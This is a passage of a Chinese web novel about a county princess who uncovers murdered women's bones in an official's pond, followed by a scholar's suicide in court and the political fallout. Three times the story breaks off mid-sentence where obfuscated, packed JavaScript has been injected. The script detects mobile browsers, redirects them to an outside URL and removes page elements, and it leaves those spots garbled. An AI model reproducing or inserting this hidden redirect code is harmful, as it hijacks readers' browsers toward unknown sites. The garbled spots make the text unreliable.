李砚书一开始其实是想诓董敏带她们去董平所住之地,但是因为董敏突然咳嗽,她们只好先带人去假山后面避风。毕竟好不容易才来到这里,若是就这么回去了,实在是不甘心。 却没想到,假山后面别有洞天。 成片的海棠花随风摇曳,花瓣受风在天上形成一个漩涡似的形状,过一会儿飘下来一些,旋即又有新的花瓣补上,美不胜收。 海棠的香味扑鼻而来,引得李砚书情不自禁往里走了几步。董敏见状提醒她:“县主当心脚下,有些泥土前几日才做翻新。” 李砚书脚下一顿,不动声色地道:“翻新?为何呀?” 董敏没多想,只一门心思盯着李砚书,生怕她摔倒,解释道:“前几日夜里落了雨,好些花被打湿了,父亲就叫人重新移了一些过来。” “这样啊,”李砚书眼珠子一转,对武霜道,“殿下,看花多没意思啊。不如我们来打个赌,如何?” 武霜看着她,道:“赌什么?” 李砚书道:“就赌谁先找出哪些花是前几日新移来的,输的人待会宴席上罚酒一杯。” “行。”武霜应道:“一杯太轻了,三杯吧!” 李砚书笑了下,道:“殿下说三杯,那就三杯。董小姐一起,到时我们一起敬殿下!” 董敏连连摆手,脸上红了又白,局促道:“殿下与县主玩得尽兴就好。” 如此,李砚书也不强迫,道:“别想着不参与就可以不喝酒啊,到时我跟殿下还得多谢你今日相陪呢!” 董敏红了脸,摆手道:“不敢,不敢。” 李砚书笑了两声,开始低头寻找。 转身的刹那,李砚书脸上的笑容消失。 她有一个可怕的猜想。 骨衣她们不眠不休地查了几日,也没查出那些姑娘的下落。若是将人卖出,人牙子也该有迹可循,怎会半点痕迹都不露。若是将人藏在董府,一个两个还好说,可照花笙所说,董平这些年强弩了不少姑娘进来,这么多人,想要悄无声息地全部藏起来,几乎是不可能的。 海棠花开得极好,李砚书蹲下,拨开些泥土,没有什么特别的,就是普通的土。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521324|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李砚书垂眸摩挲着手上的泥土,想自己是不是猜错了。 董敏目光从武霜身上移开,便见李砚书不知情况地蹲在那边不动了,以为是出什么事了,腿一软,差点摔倒。 “县主!”董敏小跑过去,着急道,“县主,你没事吧?” 听见董敏的声音,李砚书当即起身,想要回她。然而下一秒,她却蓦然愣住,一丝腥味从她的鼻尖划过,很淡,几乎是一闻就没。 李砚书闭上眼,顺着方才的方向又深吸了一下,那种很淡的腥味再次划过鼻尖。 董敏走到李砚书身前,见她不说话,踌躇着道:“县主?” 武霜也走了过来,盯着李砚书,道:“砚书?” 话音刚落,李砚书猛地睁开眼,对武霜道:“空气中有血腥味。” “啊?!” 此话一出,众人面色皆变。尤其是董敏,吓得趔趄两步,被小丫鬟眼疾手快扶住。 武霜缓缓睁眼,沉声道:“确有腥味。” 李砚书往腥味传来的那边看去,问董敏:“董小姐,那边也是花圃吗?” 董敏惊魂未定,小声道:“不是,是鱼塘。不过现在里面没有养鱼了,是处废池。” “为何?”李砚书追问。 董家不至于连处池塘都请不起人打理。 “我也不知,”董敏小心翼翼道,“荒废好些年了,那里偏僻,平日里也不会有人过去。” 见李砚书与公主要往那边去,董敏赶紧道:“殿下,县主,那里荒僻,许久未曾打理,恐污了殿下与县主尊目!” 武霜沉下脸,道:“你若是怕就在这里等着。” 说罢,提步朝鱼塘走去。 董敏无法只能跟上。 越接近鱼塘,腥味就越明显,离塘边只有几米时腥味更是直冲鼻腔,令人作呕。 李砚书捂着鼻子,道:“不是说没有鱼了么?那这里面又是什么东西如此腥臭!” 董敏捂着鼻,连连摇头。她又惊又惧,突如其来的变故让她方寸大乱,话都说不出。她今日也是第一次来这边,她知道的刚才都说了,现下这般,她真的不知该如何是好。 武霜皱眉,吩咐道:“来人,本宫倒是要看看这里面究竟是何物!” 腥味实在冲鼻,她们退后了些,等太监们将里面的东西打捞上来。 前厅,小厮着急忙慌地跑到董酺身边,耳语几句。只见董酺当即大惊失色,虽然很快他就强装镇定,只是他那一瞬间的慌乱引起不少人侧目。 龚抱文低声道:“何事?” 董酺强自稳了心神,道:“无事。” 如此,龚抱文也不好再问,便对他端起酒杯。 过来祝寿的世家小姐们此时正好到了后院。她们本就是家里听闻无双公主来了董府才随长辈过来,到了董府自然是要去寻无双公主,在公主面前露脸。听到公主在后院赏花,她们便朝后院蜂拥而去,结果刚到,就正好瞧见太监从鱼塘里捞出白骨的画面。 结果可以想见。如花的笑颜僵住,而后化作高亢的尖叫声,刺破云霄。 “死人了!” “死人了!” 不消片刻,董府后院惊现白骨的消息就传到了前厅。原本言笑晏晏,推杯换盏的场面瞬间凝固,短暂寂静后又是一阵密密麻麻的骚动,霎时人心惶惶。 董酺听到后直接瘫坐在椅上,面如死灰。 29. 鼓响 无双公主与广明县主在董府目睹白骨残尸受到惊吓,当场晕厥。武明帝得知后震怒,即令大理寺严查此事。 清宁宫偏殿。 伺候李砚书服下安神汤,宫娥放帘缓步退下。 室内寂静,李砚书放在锦被上的手指蜷起来,脑中不由控制地想起在董府里看到的画面。 最先打捞上来的是一些碎小的白骨和一网螺,那些螺占据了她们最开始的注意,因此她们都没有反应过来里面的白骨是人骨。 待太监第二次下网,捞出一个面目全非的头颅时,所有人都毫无准备,迎头尽收眼底。被吓晕过去的不止武霜,那些世家小姐好些都当场晕厥,只有个别心理承受强的,脸色刷白地不停尖叫。 一片混乱里,李砚书假装晕倒前见到的最后一个画面,是一条尚未被啃食干净的断臂。 凭空消失的背后真相竟然是以尸饲螺。 难怪丫鬟说怎么找都找不到,花笙在路过那片花圃时,又怎么能想到,自己拼命寻找的人就躺在那个冰冷腥臭的鱼塘之下。 李砚书正想着,就听见门轻微吱一声。 她闭上眼,耳朵听见轻缓的脚步声朝她走近,门也随之关上。 “砚书。” 楚皇后挑开帷幔,在床边坐下,语气平和,像是早就知道床上之人没有睡着。 李砚书坐起身,眸中清醒,唤道:“姨母。” 楚皇后怔了下,温柔地看着她,轻声道:“吓着了吗?” 李砚书点头。 她低估了人性的恶,也高估了自己的胆量。不得不承认,在愤怒来临之前,恐惧率先充斥了她的全身,不留任何余地。 “姨母第一次见着死人,是在入宫那日。”楚皇后缓缓道,“那时昭仁皇后为大皇子挑选正妃,三名适龄贵女受诏入宫。姨母是其中一位。途径华月阁时,一个宫女不慎从阁上摔下,就倒在我面前。她睁着双眼,看着我,鲜血从她的眼睛里流出,染红了我的鞋底,也断了我进宫的路。” 楚皇后抚上李砚书的手,接道:“姨母当时也很怕,怕下一个从高阁跌落的人就是自己。回去后我就与你外祖父说,说我不想进宫,不想成为宫廷权谋里尔虞我诈的牺牲品。” 李砚书听得心里难过,却说不出一句安慰的话。 因为后面的事情她大概知道,此事过后没多久,元安城里就传出了楚家姑娘与三皇子有染的事。当时的三皇子府上姬妾众多,素有浪荡多情之名。此事传得沸沸扬扬,好似他们都亲眼见过楚婞与三皇子在一起时的样子,各种秘辛张口就来。楚常卿一生清廉,原配魏氏仅育有二女,在魏氏故去后他也未曾纳妾添子。他生平最重名声,此事一出,楚常卿气得当场吐血。那种情形下,留给楚婞的选择其实只有一条——自尽,以证清白。 当天夜里,楚婞房里都备好了白绫,只等服侍完楚常卿用完药,她就能保住妹妹的婚事,全了楚家的名声。 然而当她放下药碗准备赴死的那刻,一道尖锐的嗓音却将她拉回了人间。 原是昭仁皇后得知此事,连夜下旨赐婚,这在武朝有史以来还是头一回。 宣旨的队伍声势浩大,从宫里到宫外一路,街上灯火通明,百姓听到动静纷纷出街打听。一打听才知道,原来是皇后娘娘亲自下旨赐婚,楚婞成了三皇子正妃,赏赐如流水般抬往楚府。这般大的阵仗下来,谁还敢再乱嚼舌根,嫌命长么? “你比姨母勇敢多了。你还这么小,就敢只身过来,姨母当年做不到你这般勇敢。”楚皇后道,“可元安不比渭阳,稍有不慎就是万劫不复。是姨母疏忽了,让你们见着那惨景,受了惊吓。” “姨母安慰我,我知道,可我怎么能跟姨母比呢。”李砚书道,“每每提起姨母,阿娘都十分思念。此次来元安,一来是我贪玩,没见过世面,想来元安见见世面。二来阿娘日夜思念的姐姐就在元安,那我这个做女儿的,是无论如何都要过来看望您的。” “不然阿娘该拿这——么长,”李砚书伸手比划,夸张道,“这么长的戒尺,打我手板了。” “……你阿娘,”楚皇后微怔,似是难以置信楚惟会用那么长的戒尺打人,“真会用那么长的戒尺……” 说到这,楚皇后见到李砚书眼里狡黠的笑意,明白过来,无奈道:“不怪你阿娘要打你。” 胆子真大,连她都敢作弄。 李砚书佯装委屈道:“姨母,你都不心疼我的吗?”说着,她摊开手心,接着告状,“阿娘每次都打这只手,您看,这只手是不是要比另一只要大。” 楚皇后抬起手,作势要打下凑在眼前的手心,嗔怪道:“打得好。” 李砚书泥鳅似的收回手,没让楚皇后打着。 见她躲掉,楚皇后直接伸手点在她额上,道:“还敢躲,这些年你阿娘一定没少操心你。” 李砚书老实挨了这一下,笑道:“怎会,我可是我阿娘放在心尖上的贴心人儿。” 楚皇后被她逗乐了,掩着嘴笑道:“姑娘家家的,也不害臊。” “难道不是吗?”李砚书顺杆就爬,得寸进尺道,“我不止是阿娘的贴心人儿,也是姨母的贴心人儿,你们都疼我。” 除武霜外,已经许久没有人与她这般亲近了。楚皇后看着李砚书,想起从前未出阁前与妹妹朝夕相处的日子,美好的恍若隔世。这是她在这世上唯一的妹妹的孩子,她们身上流着相同的血,是彼此最深的牵挂。 “吾家有娇女,皎皎颇白皙。【1】” 楚皇后微不可闻的一声叹息,青灯古佛与凡尘俗世皆在一念之间罢了。 董府门口。 大理寺卿严正策马过来,差役忙躬身上前牵马。 “中居兄,”吏部侍郎薛淙遥遥道,“我这紧赶慢赶,没想到还是慢中居兄一步。” 严正等人走进,拱手道:“薛侍郎。” 薛淙看到严正身后的马匹,恭维道:“没想到中居兄不仅断案了得,就连骑术也是一骑绝尘。” 面对薛淙的恭维严正恍若未闻,开门见山道:“此案陛下已下旨交由大理寺查办,薛侍郎此时过来,是陛下另有旨意?” “中居兄说笑了,”薛淙笑道,“圣旨已下,岂有更改之例。只不过此事牵连董府尹,又是在京畿重内,吏部理应协助大理寺查清此案。” “不错。” 柳修不知从哪里冒出来的,只听他道:“只是薛侍郎可要想清楚了,今日你前脚踏进董府,我后脚就递一道折子进宫。薛侍郎不妨猜猜,明日上朝时陛下是否会夸薛侍郎您为君分忧呢?” 此案远没有到三司会审的程度,薛淙这个时候过来,与司马昭之心无异。柳修虽然品阶上不如薛淙,可是他这个官职特殊,给事郎拥有监察六部,纠弹官吏之权。薛淙除非是嫌吏部侍郎做到头了,否则他没必要在这种时候给柳修留下把柄,来日弹劾自己。 薛淙牙都咬碎了,却也不得不赔笑脸,告辞道:“给事郎严重了,本官只是出于同僚之心,特来问问,既然无事本官这就不打扰大理卿查案了。” “这种人是怎么做上侍郎的,”柳修看着薛淙几乎是落荒而逃的背影,嗤道,“他若是挺直腰板与我呛上两句,我还能高看他两眼。” 其实他们都心知肚明,薛淙这个吏部侍郎是靠祖上荫蔽,再加上现在的吏部尚书薛谨才当上的。可柳修还是想说,这种胸无点墨的草包都能做上侍郎这个位置,而杨骥那种文武双全的人才却只能流放边陲,老天实在是不公。 严正的语气平静似水,道:“此案不过京师衙门,由大理寺全权负责,给事郎监察六部,也该回避。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521325|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳修挑眉,丝毫不意外严正的话,偏头对小厮笑笑。 一旁的小厮会意,立刻去牵马。 “那大理卿可要快些。”柳修翻身上马,没头没尾的一句,说完冲严正拘了一礼,“下官告退。” 案件其实并不难审,都不用董平开口,他身边的小厮受了刑就秃噜了个干净。凶手有了,但是他们却难在了被害者这里。 首先那些姑娘都是董平兴起随手抓的,连名字都不知道,更遑论身份了。再者那些尸骨被啃食的程度不等,只有一具尸体依稀还能辨出个人形,其余的基本只剩一副骨头架子,经过打捞,连骨头架子都拼凑不齐,这让他们上哪去确认受害人身份。不能确定受害者身份,这案子就极有可能成为悬案。 严正再次走出董府大门时,已经是一个时辰后了。他对随行主簿道:“将元安所有的仵作调来大理寺协助破案,另外临州的仵作能请来的都请来,务必在三日内查清所有被害者身份。” 随行主簿白着一张脸,哑声道:“是。” 他话音刚落,差役奔走来报:“大人,有人在敲登闻鼓!” 严正一贯平静的眸子里闪过一丝诧异,问道:“何人因何事登鼓?” 差役道:“举子李融,状告董平杀害其女。” 严正突然想起柳修临走前说的那句话,原来在这等着他。 严正对主簿道:“你先回大理寺。” 武圣年间制,朝廷所置登闻鼓,无须防守,有挝鼓立石者,令御史受状以闻。【2】登闻鼓一响,不仅是御史台要插手此案,就连吏部、刑部都可以名正言顺地参与此事。 严正策马来到京师府衙,正好与御史中丞石儒的马车撞上,两人下马揖礼,一同进了府衙。 彼时堂上鸦雀无声,李融垂首跪于堂下,而立之年满头白发,从背后看,薄衣之下柴毁骨立的身躯恍若耄耋之年。 刑部尚书付拙晚他们一步过来,三人会面,倒意外成了三司推事。 按例御史中丞为主审,石儒左右揖礼后落座,叫人带击鼓之人上来。 石儒轻咳两声,道:“堂下何人,所告何状呐?” 李融磕了头,狠声道:“回大人,兴州举子李融状告京兆府尹之子董平,杀害我女李思。” 石儒看看严正,有看看付拙,道:“你说董平杀了你女儿,可有证据?” 李融眼里满是恨意,声音却在抖,他泣声道:“我儿……我,就是董平强掠了我儿去,大人,我想见见我儿,她现在在哪里?我的儿啊!” 说到最后,李融想到女儿已经被董平所害,死后还要沉到鱼塘里不得安息,他就心如刀绞。他一生克己复礼,从不曾做过一件坏事,为什么他的女儿要经历这种事,为什么要让他的女儿受到如此凌辱!一想到这里,他就恨不得提刀砍了那个畜生同归于尽,可是就连同归于尽他都做不到,他找不到女儿,也见不到董府大公子。 “放肆!”付拙喝道,“公堂之上,岂容你撒泼打滚!来人啊……” “且慢。”一直未出声的严正打断他道,“尚书大人,李融痛失其女,痛哭流涕乃人之常情,怎是撒泼打滚?” 付拙冷眼看着他,道:“我竟不知,大理卿何时这般通人情了?” “尚书大人此言差矣,”石儒道,“大理卿也是人,通人情怎么了。再者,堂案尚未结束,我也未曾问完话,你叫人是要作甚?” 付拙没想到石儒会帮严正说话,一时间孤立无援,只能暂时退步,道:“是本官唐突了,诸位继续。” 石儒将视线放回到李融身上,道:“本官再问你一遍,可有证据?” 李融方才被悲痛和恨意冲昏了头,经付拙这么一闹,才想起后面要说的话。他抬手擦了擦眼,磕头道:“回大人,草民有证人。” 30. 血起 石儒稍一迟疑,道:“传。” “草民花笙拜见各位大人。”花笙磕头道。 石儒道:“你可是亲眼见到李思被抓去董府?” 花笙俯身道:“回大人,草民没有。” 付拙当即喝道:“你既没有亲眼见到,算什么证人。大胆李融,竟敢找人戏弄公堂!” “大人!”花笙道,“草民是没有亲眼见到董平行凶,但草民有证据!” 付拙面色更加难看。 衙役将证据呈上,花笙接道:“上面一共是元安城内四位乞丐的签字画押,他们都曾亲眼见过董平命人当街强抢民女。武明十五年腊月李思上街买糖,董平见色起意,命手下将其敲晕强行带走。武明十三年三月,通州余见夏前来元安寻亲,却被董平当街掳走,至今生死不明。多年来,董平屡屡强抢民女,但因其身份,地方衙门视而不见,为虎作伥。草民恳求大人为民做主,严惩歹徒董平,还无辜受害的姑娘们一个公道!” 付拙反驳道:“乞丐的话岂能……” 石儒看完状纸,转头看了付拙一眼,声音克制道:“付尚书还是看完这些,再说不迟。” 衙役将状纸呈给付拙,付拙粗略扫了一遍,随后糟心地挥手,示意衙役转给严正。 石儒沉思一会后,道:“去董府,传董平上堂。” “不用去董府了。”严正道,“直接去大理寺拿人。” 付拙倏地看向他,沉声道:“大理寺?大理卿可知此案尚未定罪,就这般将人带去大理寺,敢问大理卿是以何罪名抓捕三品大臣之子?” 严正放下状纸,道:“董府小厮均已招供,董平欺男霸女,强取豪夺之事无从抵赖。杀人藏尸,又惊到宫中贵人,故本官按律将其收押大理寺狱,有何不妥。” 付拙眼神犀利,道:“即便如此,董酺乃京兆府尹,董平下狱也该是来我刑部狱。” 严正岿然不动,道:“陛下亲旨,命大理寺调查此案,凶手也自当下我大理寺狱。” “大理卿注意措辞,”付拙冷声道,“此案尚未明了,诸事有待商榷,大理卿一口一个凶手,未免偏颇了些。” “尚未明了?”严正道,“如今人证物证俱在,本官倒是不知尚书大人还有何疑点未清?” “人证物证俱在?”付拙冷笑一声,“大理卿指的人证是堂下这二位么?他们二位方才可是亲口所说未曾亲眼所见。至于物证,就凭那几个乞丐所言?谁知道他们是不是收了谁的好处,胡说一通,毕竟那种人,可是给钱就能叫爹的,他们的话如何能信!” 李融听到这,不断磕头道:“草民所言句句属实,若有半句虚言,愿受五雷轰顶,不得好死啊!大人!” 他是读书人,礼义廉耻几乎刻在骨子里,他在人前嚎啕大哭,无异于是将脸面放在脚底下供人践踏。 石儒本就被他们吵得头晕,现下又被李融这么一哭,顿时燥从心起,厉声道:“肃静!” “二位意见相左,才输己见,无可厚非。”石儒温言道,“可案件尚未明晰,二位还要合力侦破此案,若因董平下何狱出分歧,伤了和气就不好了。登闻鼓既响,那董平也该下到御史狱才对。” 石儒出言调和,话尽挑好听的说,给足了他们面子。如此,刑部与大理寺势必没有理由再抢人。 严正道:“按例应当如此。” 石儒以为他是同意了,满意地点点头。结果接下来就听严正继续道:“可此案是由皇上亲旨交由大理寺查办,若要此案嫌犯迁出大理寺狱,本官需得上报皇上,请旨裁定。” 石儒当即沉下脸。 严正这话不就在说他们无视圣意么?真是好大一顶帽子! 付拙面色不虞,他刚想反驳,衙役就押着董平进来了。 花笙见到董平,拔下头上的发簪,二话不说就朝他刺去。 这突如其来的变故让所有人大惊失色,乱了呼吸。董平更是吓得呆住,眼见簪子就要刺到他身上,紧要关头被身旁的衙役伸手挡住。簪子随之被拍开,花笙也被衙役压住。 “畜生!”花笙双眼猩红,恨道,“放开我,畜生,我要杀了你为见夏报仇!你不得好死!” 付拙起身,喝道:“岂有此理,众目睽睽之下,巍巍公堂之上,你竟敢公然行凶,你眼里还有国法吗!” 说着他侧身看向石儒,义正言辞道:“此女行经暴虐,影响恶劣至极,如果不加以惩处,恐来日人人效仿,都来公堂之上行凶。” 李融瞠目结舌,没想到花笙竟敢直接动手,“你——” “来人!”付拙沉声吩咐,“将此女押下去,杖责十下,以示惩戒。” 严正皱眉,欲开口就见石儒冲他摇头。 这次付拙下手很有分寸,让人挑不出错来。严正如果这时出声,反而授之以柄,落了下乘。 李融见到花笙要挨打,想要为她求情,然还未开口就听付拙接道,“为她求情者,一律视为同党。” 话音方落,衙役已经押着花笙出去,不多时外面响起沉闷的碰撞声。 为防止犯人在杖刑时咬到舌头,衙役行杖时都会给人嘴里塞一块布,这样既听不见犯人的求饶与哀嚎,也不会让人意外咬舌自尽。 十杖很快打完,严正见花笙虚弱地跪伏在地,但好歹没有直接昏死过去,明白动刑的人留了力。 董平跪着,侧身啐了花笙一口,骂道:“还想杀我,贱人。” 石儒抬起惊堂木重拍了一下,道:“董平,举子李融状告你绑架他女李思,你可认罪?” 董平赶紧跪好,眼珠子提溜了一圈,道:“回大人,此乃诽谤,在下不认。” 时间仓促,董平还没来得及换上囚服,身上仍着华丽锦服。他与李融、花笙跪在一处,反衬得他二人才像是犯了罪的人,狼狈不堪。 严正猛地拍案,道:“你府上小厮均已招供,桩桩件件,事无巨细,你何从抵赖!” 董平被吓得一抖。 付拙插道:“大理卿既说小厮均已招供,可有供词?” 严正道:“自然。” 付拙一改之前的急色,慢条斯理道:“那就请大理卿将供词拿出,也让我与御史大人看看,若供词属实,本官绝无二话。” 严正朝身旁的手下看了一眼,属下领命出去。 本以为要废些功夫,不曾想人很快又回来了,朝严正耳语。 严正脸色越听越黑,随即怒道:“岂有此理!” 董府小厮突然翻供,说此事与董平没有丝毫干系。对于塘中尸骨,更是胡扯一通,说什么的都有,更有甚者,说尸骨是他去世老爹的,因为没钱安葬,只能抛尸塘中!荒谬!可恶! 这时一名衙役进来,禀报道:“大人,堂下有四名乞丐,说是此案的证人。” 闷雷骤响,风雨将至。 “传。” 一滴雨落在前堂的竹板上。 领头的那名乞丐颤颤巍巍地从怀里掏出几块银子,双手捧着高高举起,道:“大人,前几日有一男一女找到我们,给了我们这些银子,叫我们在一张纸上签字画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521326|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 押……” 抬眼间,大雨如注,又急又凶,随风打在人脸上,又冷又疼。 元鸿今合上窗,阻隔了裹挟于风里的雨丝。 白鹤行将伞搁置于廊下,进门时用衣袖仔细擦了擦书页上的几滴水珠。 元鸿今倒了杯热茶给她,道:“一场秋雨,一场寒。” 白鹤行接过茶盏,抿了一口,道:“老师,董家出手了。” 元鸿今听了这话,并不觉意外。 若董家这么轻易就倒台了,那才叫人意外。 “登闻鼓一响,董家看似陷入被动,实则却是给了他们喘息之机。”元鸿今道,“大理寺办案素来迅捷,董平色厉内荏,入了大理寺什么话都得吐出来。可惜啊,严正慢了一步。” 白鹤行眉间冷清,道:“老师,李融敲响登闻鼓,是否棋差一招?” “是,也不是。”元鸿今道,“我且问你,京兆府尹犯事,按律应该交由何处查办?” 白鹤行道:“刑部。” 可武明帝却是交给了大理寺查办。 白鹤行会过意来,看向元鸿今,一贯平静的眸子里起了涟漪。 “大胆李融,花笙!” 石儒高坐正堂,义正言辞,朗声喝道,“胆敢欺上瞒下,诽谤朝廷之子,其心可诛,罪大恶极,来人——” 立于左右两侧的衙役闻声向前一步。 严正倏然起身,付拙紧跟着起身,抢先一步道:“大理卿!此案已然明了,人证物证俱在,此二人无从狡辩。” 李融跪伏于地,眼里没了光亮,额上磕出了斑驳血迹。一年前他还是意气风发、家庭美满的举子李融。日子算不上大富大贵,却也是平淡怡然,前途一片光明。却因为董平掠走幼女,一夕之间他家破人亡,求助无门。老天何其不公,兢兢业业之人妻离子散,恶贯满盈之人却能逍遥法外,他气,他恨,他……无能为力。 付拙的话像是如同迎头棒喝般将李融敲醒。 他武明十一年中举,至今五载,仍是举子。他一直踏实地走在求学这条路上,天真地期望着,以为努力就会有回报。事实证明他错了,大错特错!自古寒士无出路,他不是特例,也成不了特例。即使他通达四书、经纶满腹又如何,只消达官显贵一句话,他们泣血的陈述成了诽谤,冤屈也成了狡辩。 李融单薄的背脊不知何时变得佝偻,读书人的风骨在他身上已窥不见半分,只剩下沧桑与颓然。 “我李融,三尺微命,一介书生。【1】” 花笙偏头,惊疑不定地看着他。 李融一直跪伏着的身躯缓缓站起,摇摇欲坠却又石赤不夺。 堂上众人皆看向他。 屋外大雨倾盆,雨滴砸在地上溅起的却是李融的怒火与悲哀。他道:“上不能定国安邦,下不能护妻庇子。圣人书贤到不了庙堂之上,殿陛之臣辨不清是非黑白。社稷丘墟,詈夷为跖,百姓哀哉!” 说罢,李融在众人眼前撞向华表。【2】 一声重响过后,堂内传出花笙的惊喊,紧接着惊叫声此起彼伏。 鲜血顺着华表上的纹路向下延伸,恍若一条蜿蜒的历史长河,记录了一代又一代人的反抗与不屈。 “拦住他……” 石儒愣在原地,方才喊出口的命令成了笑话。他颤抖着手,难以置信。 严正疾步过去,蹲在李融身边,听他说完最后一句话。 “……大人,”李融脸上的血顺着眼睛、鼻梁流到了嘴里,他含糊地轻声道,“……我,有冤。” 31. 阴霾 武明十六年的第一场秋雨,以一条鲜血淋漓的人命拉开序幕。 一个举子的命或许微如草芥,不值一提。但李融血溅公堂,弥留之际“有冤”二字,却引起轩然大波,一石惊起千层浪,那些还在旰食宵衣,踽踽独行的学子被猛然惊醒。 如果圣人书贤到不了庙堂之上,如果国法律令清不了是非冤屈,如果遵纪守法护不了妻儿子女,那他们酷暑严寒、挑灯夜读的日子就成了笑话。而百姓向朝廷上缴的每一厘税粮,最后也成了刺向他们自己的一把利刃。 何其不公! 翌日,皇城外汹涌澎湃的鼓声即便掺杂着雨声变得模糊不清,也依旧震颤在百官心上。 朝上气氛死寂,武朝开国快三十载,举子血溅公堂喊冤这种事还是头一回发生。 武明帝昨夜受了凉,今日脸色极差。 御史台的人忐忑不安,石儒更是如履薄冰地跪于殿上,大气都不敢喘。 武明帝缓了咳嗽,道:“严卿。” 严正拜礼,道:“臣在。” 武明帝语气平静道:“将昨日那位举子的话,说于诸位爱卿听听。” “是。”严正旋即复述道,“我李融,三尺微命,一介书生。上不能定国安邦,下不能护妻庇子。圣人书贤到不了庙堂之上,殿陛之臣辨不清是非黑白。社稷丘墟,詈夷为跖,百姓哀哉。” 越听底下有些大臣的头垂得越低,满堂鸦雀无声。 “听听,都听见了吗?”武明帝皮笑肉不笑道,“圣人书贤到不了庙堂之上,殿陛之臣辨不清是非黑白。好一个圣人书贤,好一个是非黑白,好啊,好得很啊!” 付拙低敛眉眼思索。此事发展到今日,棘手的已不是区区一个凶杀案,也不是此案定案便能万事大吉的了。观眼下局势,学子击鼓闹事,左右不过情绪上头,想要一个说法。可这说法怎么给,给多少就成了难题。俗话说法不责众,若是将这些学子全都抓起来下狱,恐会引起更大的动乱,而这恰恰是皇帝最不想看到的。这些年武明帝已经很少杀人了,放在十年前,他们这些与此案有关联的大小官员都会难逃罪责。 无人敢出声,武明帝又将视线放在了跪着的石儒身上,冷哼一声,道:“石卿,秋来地寒,起来吧。” 石儒内裳早已被汗水濡湿,闻言拜谢:“谢皇上。” 武明帝话锋一转,道:“登闻鼓既响,此事就交由刑部负责。付卿。” 付拙拱手出列,道:“臣在。” 武明帝盯着他,道:“事关天下学子之心,朕给你三日时间,务必将此事查个水落石出。” 付拙拜道:“臣,遵旨。” 大雨落了一夜也不见小,李砚书撑伞来到武霜寝宫外,正好碰见从寝宫里出来的钟嬷嬷。 钟嬷嬷见是李砚书,连忙向前接人,行礼道:“这般大的雨,县主怎地一个人就来了?身边伺候的人呢,待奴婢禀了皇后娘娘,看她们做事如此不上心。” 李砚书收了伞,交给钟嬷嬷,笑道:“嬷嬷莫气,是我不叫她们跟来的,雨大,淋湿了容易染上风寒。” 钟嬷嬷将伞交给身旁的宫娥,掏出帕子替李砚书擦着肩上不小心落上的雨滴。听李砚书这么说,便也不再说什么,只道:“县主怜悯,奴婢们自当感恩。” 李砚书看了眼紧闭的房门,问道:“公主可醒了?” “殿下昨夜申时醒了一会儿,”钟嬷嬷眉间微蹙,忧心道:“但又起了热,御医过来把脉,说殿下是受惊导致邪气侵体从而又引起了高热。卯时用了药,到现在都还没醒。” 见李砚书想进去,钟嬷嬷低声劝道:“县主昨日也受了惊吓,现下身体也虚弱着,还是不要进去了,万一过了病气可怎么好。” 李砚书听了心里自责地想,若不是她将武霜拉了进来,武霜也就不会遭这罪了。 “我没事。”李砚书道,“嬷嬷安心,我进去看一眼就出来,不然我实在放心不下。” 话至此,钟嬷嬷也不再劝了。 午时三刻,李砚书得了楚皇后手谕离宫。素影与骨衣早早等在宫门外,一见到李砚书出来便迎了上去。 李砚书见素影眼眶红红的,当即心里一沉。 李融会当众撞死公堂这事是李砚书不曾想到的。当时她能想到的最坏结果,是审理此案的官员偏袒董家,此案陷入拖沓,最后不明不白的结案。 但无论那种可能,李砚书都没想到李融竟会以命相搏。 他已经找了将近一年的女儿,眼看找出凶手,马上就能报仇雪恨了,他怎么会在这个时候死了呢? 素影哽咽道:“小姐,我们找到的那四个乞丐,当庭翻供,说是李举子和花笙姑娘用银子,雇他们做假证陷害董平。” 骨衣低下眼,自责道:“小姐,此事怪我大意,只派了两个人看着那几个乞丐,才会让人有可乘之机。” 当时所有人的视线都在李融与花笙身上,城内乞丐那么多,就算对方要查,也绝不会在那么短的时间内查出是哪几个乞丐。所以她将重点放在了花笙的安危上,昨日更是亲自盯着花笙,生怕人在进公堂之前出什么意外。百密一疏,没想到董家的人竟然那么快就找到了乞丐所在之地,所以才有了后面当庭反指之事。 李砚书拍了拍她们二人的手,低声道:“你们已经做得很好了。” 李融之死是她思虑不周。董酺在官多年又是任京兆府尹这等官职,其耳目算不上遍布朝野,却也网罗元安诸城,又岂会是遇事就束手就擒的羔羊,任人宰割。白鹤行说得没错,她忘了布衣黔首的无可奈何,忘了闾巷之人的独木难支,才会酿成今日惨剧。 李融用命给那些受害的姑娘们挣出了一条路,一条窄小的路,路上没有曙光,只余阴霾。 “吁——” 马车突然停下,骨衣挑帘看去,片刻后对李砚书道:“小姐,是龚府的马车。” 